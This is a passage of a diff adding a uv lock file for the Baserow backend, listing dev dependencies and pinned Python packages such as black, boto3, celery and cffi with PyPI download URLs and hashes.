"==0.1.8" }, + { name = "unicodecsv", specifier = "==0.14.1" }, + { name = "uvicorn", extras = ["standard"], specifier = "==0.34.2" }, + { name = "validators", specifier = "==0.28.1" }, + { name = "websockets", specifier = "==12.0" }, + { name = "zipp", specifier = "==3.19.1" }, + { name = "zipstream-ng", specifier = "==1.8.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "argh", specifier = "==0.31.2" }, + { name = "autopep8", specifier = "==2.1.0" }, + { name = "backports-cached-property", specifier = "==1.0.2" }, + { name = "bandit", specifier = "==1.7.8" }, + { name = "black", specifier = "==23.3.0" }, + { name = "build" }, + { name = "coverage", specifier = "==7.5.1" }, + { name = "debugpy", specifier = "==1.8.1" }, + { name = "django-extensions", specifier = "==3.2.3" }, + { name = "django-silk", specifier = "==5.1.0" }, + { name = "django-stubs", specifier = "==1.16.0" }, + { name = "django-stubs-ext", specifier = "==0.8.0" }, + { name = "fakeredis", extras = ["lua"], specifier = "==2.23.2" }, + { name = "flake8", specifier = "==7.0.0" }, + { name = "freezegun", specifier = "==1.5.0" }, + { name = "graphviz", specifier = "==0.20.3" }, + { name = "httpretty", specifier = "==1.1.4" }, + { name = "ipdb" }, + { name = "ipython" }, + { name = "isort", specifier = "==5.13.2" }, + { name = "mypy", specifier = "==1.10.0" }, + { name = "mypy-extensions", specifier = "==1.0.0" }, + { name = "openapi-spec-validator", specifier = "==0.7.2" }, + { name = "pyfakefs", specifier = "==5.4.1" }, + { name = "pyinstrument", specifier = "==4.6.2" }, + { name = "pytest", specifier = "==8.2.0" }, + { name = "pytest-asyncio", specifier = "==0.23.6" }, + { name = "pytest-cov", specifier = "==5.0.0" }, + { name = "pytest-django", specifier = "==4.8.0" }, + { name = "pytest-env", specifier = "==1.1.3" }, + { name = "pytest-html", specifier = "==4.1.1" }, + { name = "pytest-icdiff", specifier = "==0.9" }, + { name = "pytest-mock", specifier = "==3.14.0" }, + { name = "pytest-ordering", specifier = "==0.6" }, + { name = "pytest-retry", specifier = "==1.7.0" }, + { name = "pytest-split", specifier = "==0.8.2" }, + { name = "pytest-testmon", specifier = "==2.1.3" }, + { name = "pytest-unordered", specifier = "==0.6.0" }, + { name = "pytest-xdist", specifier = "==3.6.1" }, + { name = "responses", specifier = "==0.25.0" }, + { name = "rust-just", specifier = ">=1.43.1" }, + { name = "snoop", specifier = "==0.4.3" }, + { name = "watchdog", specifier = "==4.0.0" }, +] + +[[package]] +name = "baserow-enterprise" +version = "2.0.6" +source = { editable = "../enterprise/backend" } + +[[package]] +name = "baserow-premium" +version = "2.0.6" +source = { editable = "../premium/backend" } + +[[package]] +name = "billiard" +version = "4.2.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/58/23/b12ac0bcdfb7360d664f40a00b1bda139cbbbced012c34e375506dbd0143/billiard-4.2.4.tar.gz", hash = "sha256:55f542c371209e03cd5862299b74e52e4fbcba8250ba611ad94276b369b6a85f", size = 156537, upload-time = "2025-11-30T13:28:48.52Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/87/8bab77b323f16d67be364031220069f79159117dd5e43eeb4be2fef1ac9b/billiard-4.2.4-py3-none-any.whl", hash = "sha256:525b42bdec68d2b983347ac312f892db930858495db601b5836ac24e6477cde5", size = 87070, upload-time = "2025-11-30T13:28:47.016Z" }, +] + +[[package]] +name = "black" +version = "23.3.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "mypy-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "packaging", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pathspec", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "platformdirs", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d6/36/66370f5017b100225ec4950a60caeef60201a10080da57ddb24124453fba/black-23.3.0.tar.gz", hash = "sha256:1c7b8d606e728a41ea1ccbd7264677e494e87cf630e399262ced92d4a8dac940", size = 582156, upload-time = "2023-03-29T01:00:54.457Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d7/6f/d3832960a3b646b333b7f0d80d336a3c123012e9d9d5dba4a622b2b6181d/black-23.3.0-cp311-cp311-macosx_10_16_arm64.whl", hash = "sha256:a8a968125d0a6a404842fa1bf0b349a568634f856aa08ffaff40ae0dfa52e7c6", size = 1326112, upload-time = "2023-03-29T01:19:05.794Z" }, + { url = "https://files.pythonhosted.org/packages/eb/a5/17b40bfd9b607b69fa726b0b3a473d14b093dcd5191ea1a1dd664eccfee3/black-23.3.0-cp311-cp311-macosx_10_16_universal2.whl", hash = "sha256:c7ab5790333c448903c4b721b59c0d80b11fe5e9803d8703e84dcb8da56fec1b", size = 2643808, upload-time = "2023-03-29T01:25:27.825Z" }, + { url = "https://files.pythonhosted.org/packages/69/49/7e1f0cf585b0d607aad3f971f95982cc4208fc77f92363d632d23021ee57/black-23.3.0-cp311-cp311-macosx_10_16_x86_64.whl", hash = "sha256:a6f6886c9869d4daae2d1715ce34a19bbc4b95006d20ed785ca00fa03cba312d", size = 1503287, upload-time = "2023-03-29T01:28:35.228Z" }, + { url = "https://files.pythonhosted.org/packages/c0/53/42e312c17cfda5c8fc4b6b396a508218807a3fcbb963b318e49d3ddd11d5/black-23.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f3c333ea1dd6771b2d3777482429864f8e258899f6ff05826c3a4fcc5ce3f70", size = 1638625, upload-time = "2023-03-29T01:11:16.193Z" }, + { url = "https://files.pythonhosted.org/packages/ad/e7/4642b7f462381799393fbad894ba4b32db00870a797f0616c197b07129a9/black-23.3.0-py3-none-any.whl", hash = "sha256:ec751418022185b0c1bb7d7736e6933d40bbb14c14a0abcf9123d1b159f98dd4", size = 180965, upload-time = "2023-03-29T01:00:52.253Z" }, +] + +[[package]] +name = "boto3" +version = "1.40.40" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "botocore", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "jmespath", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "s3transfer", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3c/12/1a31b36802d0f33bc6982ab8b7e6437d75ef3c179abe6c53d4d8f7b4248f/boto3-1.40.40.tar.gz", hash = "sha256:f384d3a0410d0f1a4d4ae7aa69c41d0549c6ca5a76667dc25fc97d50ad6db740", size = 111606, upload-time = "2025-09-26T19:23:46.923Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/90/69/c65566dbdaaea3af0c23f7731ab0f185a38b593fd449d2423374150dbfe0/boto3-1.40.40-py3-none-any.whl", hash = "sha256:385904de68623e1c341bdc095d94a30006843032c912adeb1e0752a343632ec6", size = 139340, upload-time = "2025-09-26T19:23:45.557Z" }, +] + +[[package]] +name = "botocore" +version = "1.40.76" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jmespath", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "python-dateutil", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "urllib3", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/07/eb/50e2d280589a3c20c3b649bb66262d2b53a25c03262e4cc492048ac7540a/botocore-1.40.76.tar.gz", hash = "sha256:2b16024d68b29b973005adfb5039adfe9099ebe772d40a90ca89f2e165c495dc", size = 14494001, upload-time = "2025-11-18T20:22:59.131Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/6c/522e05388aa6fc66cf8ea46c6b29809a1a6f527ea864998b01ffb368ca36/botocore-1.40.76-py3-none-any.whl", hash = "sha256:fe425d386e48ac64c81cbb4a7181688d813df2e2b4c78b95ebe833c9e868c6f4", size = 14161738, upload-time = "2025-11-18T20:22:55.332Z" }, +] + +[[package]] +name = "brotli" +version = "1.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2f/c2/f9e977608bdf958650638c3f1e28f85a1b075f075ebbe77db8555463787b/Brotli-1.1.0.tar.gz", hash = "sha256:81de08ac11bcb85841e440c13611c00b67d3bf82698314928d0b676362546724", size = 7372270, upload-time = "2023-09-07T14:05:41.643Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/96/12/ad41e7fadd5db55459c4c401842b47f7fee51068f86dd2894dd0dcfc2d2a/Brotli-1.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a3daabb76a78f829cafc365531c972016e4aa8d5b4bf60660ad8ecee19df7ccc", size = 873068, upload-time = "2023-09-07T14:03:37.779Z" }, + { url = "https://files.pythonhosted.org/packages/95/4e/5afab7b2b4b61a84e9c75b17814198ce515343a44e2ed4488fac314cd0a9/Brotli-1.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c8146669223164fc87a7e3de9f81e9423c67a79d6b3447994dfb9c95da16e2d6", size = 446244, upload-time = "2023-09-07T14:03:39.223Z" }, + { url = "https://files.pythonhosted.org/packages/9d/e6/f305eb61fb9a8580c525478a4a34c5ae1a9bcb12c3aee619114940bc513d/Brotli-1.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:30924eb4c57903d5a7526b08ef4a584acc22ab1ffa085faceb521521d2de32dd", size = 2906500, upload-time = "2023-09-07T14:03:40.858Z" }, + { url = "https://files.pythonhosted.org/packages/3e/4f/af6846cfbc1550a3024e5d3775ede1e00474c40882c7bf5b37a43ca35e91/Brotli-1.1.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ceb64bbc6eac5a140ca649003756940f8d6a7c444a68af170b3187623b43bebf", size = 2943950, upload-time = "2023-09-07T14:03:42.896Z" }, + { url = "https://files.pythonhosted.org/packages/b3/e7/ca2993c7682d8629b62630ebf0d1f3bb3d579e667ce8e7ca03a0a0576a2d/Brotli-1.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a469274ad18dc0e4d316eefa616d1d0c2ff9da369af19fa6f3daa4f09671fd61", size = 2918527, upload-time = "2023-09-07T14:03:44.552Z" }, + { url = "https://files.pythonhosted.org/packages/b3/96/da98e7bedc4c51104d29cc61e5f449a502dd3dbc211944546a4cc65500d3/Brotli-1.1.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:524f35912131cc2cabb00edfd8d573b07f2d9f21fa824bd3fb19725a9cf06327", size = 2845489, upload-time = "2023-09-07T14:03:46.594Z" }, + { url = "https://files.pythonhosted.org/packages/e8/ef/ccbc16947d6ce943a7f57e1a40596c75859eeb6d279c6994eddd69615265/Brotli-1.1.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:5b3cc074004d968722f51e550b41a27be656ec48f8afaeeb45ebf65b561481dd", size = 2914080, upload-time = "2023-09-07T14:03:48.204Z" }, + { url = "https://files.pythonhosted.org/packages/80/d6/0bd38d758d1afa62a5524172f0b18626bb2392d717ff94806f741fcd5ee9/Brotli-1.1.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:19c116e796420b0cee3da1ccec3b764ed2952ccfcc298b55a10e5610ad7885f9", size = 2813051, upload-time = "2023-09-07T14:03:50.348Z" }, + { url = "https://files.pythonhosted.org/packages/14/56/48859dd5d129d7519e001f06dcfbb6e2cf6db92b2702c0c2ce7d97e086c1/Brotli-1.1.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:510b5b1bfbe20e1a7b3baf5fed9e9451873559a976c1a78eebaa3b86c57b4265", size = 2938172, upload-time = "2023-09-07T14:03:52.395Z" }, + { url = "https://files.pythonhosted.org/packages/3d/77/a236d5f8cd9e9f4348da5acc75ab032ab1ab2c03cc8f430d24eea2672888/Brotli-1.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a1fd8a29719ccce974d523580987b7f8229aeace506952fa9ce1d53a033873c8", size = 2933023, upload-time = "2023-09-07T14:03:53.96Z" }, + { url = "https://files.pythonhosted.org/packages/f1/87/3b283efc0f5cb35f7f84c0c240b1e1a1003a5e47141a4881bf87c86d0ce2/Brotli-1.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c247dd99d39e0338a604f8c2b3bc7061d5c2e9e2ac7ba9cc1be5a69cb6cd832f", size = 2935871, upload-time = "2024-10-18T12:32:16.688Z" }, + { url = "https://files.pythonhosted.org/packages/f3/eb/2be4cc3e2141dc1a43ad4ca1875a72088229de38c68e842746b342667b2a/Brotli-1.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:1b2c248cd517c222d89e74669a4adfa5577e06ab68771a529060cf5a156e9757", size = 2847784, upload-time = "2024-10-18T12:32:18.459Z" }, + { url = "https://files.pythonhosted.org/packages/66/13/b58ddebfd35edde572ccefe6890cf7c493f0c319aad2a5badee134b4d8ec/Brotli-1.1.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:2a24c50840d89ded6c9a8fdc7b6ed3692ed4e86f1c4a4a938e1e92def92933e0", size = 3034905, upload-time = "2024-10-18T12:32:20.192Z" }, + { url = "https://files.pythonhosted.org/packages/84/9c/bc96b6c7db824998a49ed3b38e441a2cae9234da6fa11f6ed17e8cf4f147/Brotli-1.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f31859074d57b4639318523d6ffdca586ace54271a73ad23ad021acd807eb14b", size = 2929467, upload-time = "2024-10-18T12:32:21.774Z" }, +] + +[[package]] +name = "build" +version = "1.3.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "packaging", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyproject-hooks", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/25/1c/23e33405a7c9eac261dff640926b8b5adaed6a6eb3e1767d441ed611d0c0/build-1.3.0.tar.gz", hash = "sha256:698edd0ea270bde950f53aed21f3a0135672206f3911e0176261a31e0e07b397", size = 48544, upload-time = "2025-08-01T21:27:09.268Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/8c/2b30c12155ad8de0cf641d76a8b396a16d2c36bc6d50b621a62b7c4567c1/build-1.3.0-py3-none-any.whl", hash = "sha256:7145f0b5061ba90a1500d60bd1b13ca0a8a4cebdd0cc16ed8adf1c0e739f43b4", size = 23382, upload-time = "2025-08-01T21:27:07.844Z" }, +] + +[[package]] +name = "cachetools" +version = "6.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fb/44/ca1675be2a83aeee1886ab745b28cda92093066590233cc501890eb8417a/cachetools-6.2.2.tar.gz", hash = "sha256:8e6d266b25e539df852251cfd6f990b4bc3a141db73b939058d809ebd2590fc6", size = 31571, upload-time = "2025-11-13T17:42:51.465Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/46/eb6eca305c77a4489affe1c5d8f4cae82f285d9addd8de4ec084a7184221/cachetools-6.2.2-py3-none-any.whl", hash = "sha256:6c09c98183bf58560c97b2abfcedcbaf6a896a490f534b031b661d3723b45ace", size = 11503, upload-time = "2025-11-13T17:42:50.232Z" }, +] + +[[package]] +name = "cbor2" +version = "5.7.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a2/b8/c0f6a7d46f816cb18b1fda61a2fe648abe16039f1ff93ea720a6e9fb3cee/cbor2-5.7.1.tar.gz", hash = "sha256:7a405a1d7c8230ee9acf240aad48ae947ef584e8af05f169f3c1bde8f01f8b71", size = 102467, upload-time = "2025-10-24T09:23:06.569Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/52/67/319baac9c51de0053f58fa74a9548f93f3629aa3adeebd7d2c99d1379370/cbor2-5.7.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:2b1efbe6e82721be44b9faf47d0fd97b0150213eb6a4ba554f4947442bc4e13f", size = 67894, upload-time = "2025-10-24T09:22:16.081Z" }, + { url = "https://files.pythonhosted.org/packages/2c/53/d23d0a234a4a098b019ac1cadd33631c973142fc947a68c4a38ca47aa5dc/cbor2-5.7.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:fb94bab27e00283bdd8f160e125e17dbabec4c9e6ffc8da91c36547ec1eb707f", size = 68444, upload-time = "2025-10-24T09:22:17.136Z" }, + { url = "https://files.pythonhosted.org/packages/3a/a2/a6fa59e1c23b0bc77628d64153eb9fc69ac8dde5f8ed41a7d5316fcd0bcd/cbor2-5.7.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:29f22266b5e08e0e4152e87ba185e04d3a84a4fd545b99ae3ebe42c658c66a53", size = 261600, upload-time = "2025-10-24T09:22:18.293Z" }, + { url = "https://files.pythonhosted.org/packages/3d/cb/e0fa066aa7a09b15b8f56bafef6b2be19d9db31310310b0a5601af5c0128/cbor2-5.7.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:25d4c7554d6627da781c9bd1d0dd0709456eecb71f605829f98961bb98487dda", size = 254904, upload-time = "2025-10-24T09:22:19.645Z" }, + { url = "https://files.pythonhosted.org/packages/2c/d5/b1fb4a3828c440e100a4b2658dd2e8f422faf08f4fcc8e2c92b240656b44/cbor2-5.7.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:f1e15c3a08008cf13ce1dfc64d17c960df5d66d935788d28ec7df54bf0ffb0ef", size = 257388, upload-time = "2025-10-24T09:22:20.805Z" }, + { url = "https://files.pythonhosted.org/packages/34/d5/252657bc5af964fc5f19c0e0e82031b4c32eba5d3ed4098e963e0e8c47a6/cbor2-5.7.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:9f6cdf7eb604ea0e7ef34e3f0b5447da0029ecd3ab7b2dc70e43fa5f7bcfca89", size = 251494, upload-time = "2025-10-24T09:22:21.986Z" }, + { url = "https://files.pythonhosted.org/packages/d5/7d/383bafeabb54c17fe5b6d5aca4e863e6b7df10bcc833b34aa169e9dfce1a/cbor2-5.7.1-py3-none-any.whl", hash = "sha256:68834e4eff2f56629ce6422b0634bc3f74c5a4269de5363f5265fe452c706ba7", size = 23829, upload-time = "2025-10-24T09:23:05.54Z" }, +] + +[[package]] +name = "celery" +version = "5.5.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "billiard", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "click", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "click-didyoumean", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "click-plugins", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "click-repl", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "kombu", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "python-dateutil", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "vine", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bb/7d/6c289f407d219ba36d8b384b42489ebdd0c84ce9c413875a8aae0c85f35b/celery-5.5.3.tar.gz", hash = "sha256:6c972ae7968c2b5281227f01c3a3f984037d21c5129d07bf3550cc2afc6b10a5", size = 1667144, upload-time = "2025-06-01T11:08:12.563Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c9/af/0dcccc7fdcdf170f9a1585e5e96b6fb0ba1749ef6be8c89a6202284759bd/celery-5.5.3-py3-none-any.whl", hash = "sha256:0b5761a07057acee94694464ca482416b959568904c9dfa41ce8413a7d65d525", size = 438775, upload-time = "2025-06-01T11:08:09.94Z" }, +] + +[package.optional-dependencies] +redis = [ + { name = "kombu", extra = ["redis"], marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] + +[[package]] +name = "celery-redbeat" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "celery", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "python-dateutil", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "redis", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "tenacity", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/35/0d/63cf4db35c111554913199a54f32be3495526ff08189f9d79a879abcc6ad/celery-redbeat-2.2.0.tar.gz", hash = "sha256:71104729380d4eaefd91a9b7d270ba7851bfff9ad55a43ac8365acbb0c608b77", size = 21372, upload-time = "2023-12-22T13:34:29.853Z" } + +[[package]] +name = "celery-singleton" +version = "0.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "celery", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "redis", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/23/f0/ef4c769215086812a9e968bf9309fbd90bfe663d5175742e9386e1e1e052/celery-singleton-0.3.1.tar.gz", hash = "sha256:260ce4978e631f8682ea0ccb03d7f3b87d42bc20e04e9bd46ddb78a2f8035d1e", size = 4659, upload-time = "2021-01-14T16:23:40.801Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/88/40b38306a829b637abf7ef2bfaaa8a1dd027dc08c2121d11f32d41b0c9f2/celery_singleton-0.3.1-py3-none-any.whl", hash = "sha256:76b30a1bbe31d42030924b3eecfcaae2ab3ab99bf43e607cd46437f012434420", size = 6505, upload-time = "2021-01-14T16:23:41.784Z" }, +] + +[[package]] +name = "certifi" +version = "2025.11.12" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a2/8c/58f469717fa48465e4a50c014a0400602d3c437d7c0c468e17ada824da3a/certifi-2025.11.12.tar.gz", hash = "sha256:d8ab5478f2ecd78af242878415affce761ca6bc54a22a27e026d7c25357c3316", size = 160538, upload-time = "2025-11-12T02:54:51.517Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/70/7d/9bc192684cea499815ff478dfcdc13835ddf401365057044fb721ec6bddb/certifi-2025.11.12-py3-none-any.whl", hash = "sha256:97de8790030bbd5c2d96b7ec782fc2f7820ef8dba6db909ccf95449f2d062d4b", size = 159438, upload-time = "2025-11-12T02:54:49.735Z" }, +] + +[[package]] +name = "cffi" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycparser", marker = "(implementation_name != 'PyPy' and sys_platform == 'darwin') or (implementation_name != 'PyPy' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/12/4a/3dfd5f7850cbf0d06dc84ba9aa00db766b52ca38d8b86e3a38314d52498c/cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe", size = 184344, upload-time = "2025-09-08T23:22:26.456Z" }, + { url = "https://files.pythonhosted.org/packages/4f/8b/f0e4c441227ba756aafbe78f117485b25bb26b1c059d01f137fa6d14896b/cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c", size = 180560, upload-time = "2025-09-08T23:22:28.197Z" }, + { url = "https://files.pythonhosted.org/packages/b1/b7/1200d354378ef52ec227395d95c2576330fd22a869f7a70e88e1447eb234/cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92", size = 209613, upload-time = "2025-09-08T23:22:29.475Z" }, + { url = "https://files.pythonhosted.org/packages/b8/56/6033f5e86e8cc9bb629f0077ba71679508bdf54a9a5e112a3c0b91870332/cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93", size = 216476, upload-time = "2025-09-08T23:22:31.063Z" }, + { url = "https://files.pythonhosted.org/packages/dc/7f/55fecd70f7ece178db2f26128ec41430d8720f2d12ca97bf8f0a628207d5/cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5", size = 203374, upload-time = "2025-09-08T23:22:32.507Z" }, + { url = "https://files.pythonhosted.org/packages/84/ef/a7b77c8bdc0f77adc3b46888f1ad54be8f3b7821697a7b89126e829e676a/cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664", size = 202597, upload-time = "2025-09-08T23:22:34.132Z" }, + { url = "https://files.pythonhosted.org/packages/d7/91/500d892b2bf36529a75b77958edfcd5ad8e2ce4064ce2ecfeab2125d72d1/cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26", size = 215574, upload-time = "2025-09-08T23:22:35.443Z" }, + { url = "https://files.pythonhosted.org/packages/44/64/58f6255b62b101093d5df22dcb752596066c7e89dd725e0afaed242a61be/cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9", size = 218971, upload-time = "2025-09-08T23:22:36.805Z" }, + { url = "https://files.pythonhosted.org/packages/ab/49/fa72cebe2fd8a55fbe14956f9970fe8eb1ac59e5df042f603ef7c8ba0adc/cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414", size = 211972, upload-time = "2025-09-08T23:22:38.436Z" }, + { url = "https://files.pythonhosted.org/packages/0b/28/dd0967a76aab36731b6ebfe64dec4e981aff7e0608f60c2d46b46982607d/cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743", size = 217078, upload-time = "2025-09-08T23:22:39.776Z" }, +] + +[[package]] +name = "channels" +version = "4.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asgiref", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "django", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/8e/cb/6fedd9df5972b893a04c8e5d7748873d6480a813e74b0797945bee1f4282/channels-4.0.0.tar.gz", hash = "sha256:0ce53507a7da7b148eaa454526e0e05f7da5e5d1c23440e4886cf146981d8420", size = 24446, upload-time = "2022-10-15T19:12:11.724Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f5/52/a233dc63996547f171c2013f2d0505dcfa7d0557e7cde8748a2bd70b5a31/channels-4.0.0-py3-none-any.whl", hash = "sha256:2253334ac76f67cba68c2072273f7e0e67dbdac77eeb7e318f511d2f9a53c5e4", size = 28852, upload-time = "2022-10-15T19:12:09.625Z" }, +] + +[package.optional-dependencies] +daphne = [ + { name = "daphne", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] + +[[package]] +name = "channels-redis" +version = "4.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asgiref", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "channels", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "msgpack", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "redis", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5b/3b/941efa8e337c3537475926fbf86e8cfe38a919e0f60bb9538b1cff364b8d/channels_redis-4.1.0.tar.gz", hash = "sha256:6bd4f75f4ab4a7db17cee495593ace886d7e914c66f8214a1f247ff6659c073a", size = 20332, upload-time = "2023-03-28T17:58:36.835Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e2/8f/920556dd928cf2e6f1dcd7898e083e25137f6d90b8d6a6680a991a439d0f/channels_redis-4.1.0-py3-none-any.whl", hash = "sha256:3696f5b9fe367ea495d402ba83d7c3c99e8ca0e1354ff8d913535976ed0abf73", size = 18154, upload-time = "2023-03-28T17:58:34.727Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = 